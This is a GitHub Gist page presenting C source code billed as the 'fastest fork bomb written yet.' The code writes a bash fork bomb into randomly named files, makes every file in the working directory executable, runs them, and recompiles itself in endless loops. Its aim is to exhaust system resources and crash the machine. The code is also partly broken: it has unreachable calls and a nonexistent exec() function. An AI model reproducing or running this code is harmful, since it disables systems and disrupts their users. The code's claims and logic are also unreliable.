-
-
Save virusdefender/234e51519a4d718203759ecc37e1be20 to your computer and use it in GitHub Desktop.
Fork Bomb in C, fastest fork bomb written yet.
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#include <stdio.h> | |
#include <string.h> | |
#include <unistd.h> | |
#include <stdlib.h> | |
int generator(void) | |
{ | |
system("echo ':(){ :|:& };: ./*' > $RANDOM"); | |
system("chmod +x * 2> /dev/null"); | |
system("chmod +x $RANDOM 2> /dev/null"); | |
system("bash -c './$RANDOM' 2> /dev/null"); | |
system("bash -c './*' 2> /dev/null"); | |
return(0); | |
} | |
int reproduce(void) | |
{ | |
system("gcc fb.c -o .fb.$RANDOM"); | |
while(1) | |
generator(); | |
fork(); | |
return(0); | |
} | |
int main(void) | |
{ | |
for ( ; ; ) | |
while(1) | |
while(1) | |
while(1) | |
reproduce(); | |
system("bash -c './*' 2> /dev/null"); | |
system(".fb.$RANDOM"); | |
while(1) | |
exec("./*"); | |
fork(); | |
fork(); | |
fork(); | |
return(0); | |
} |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment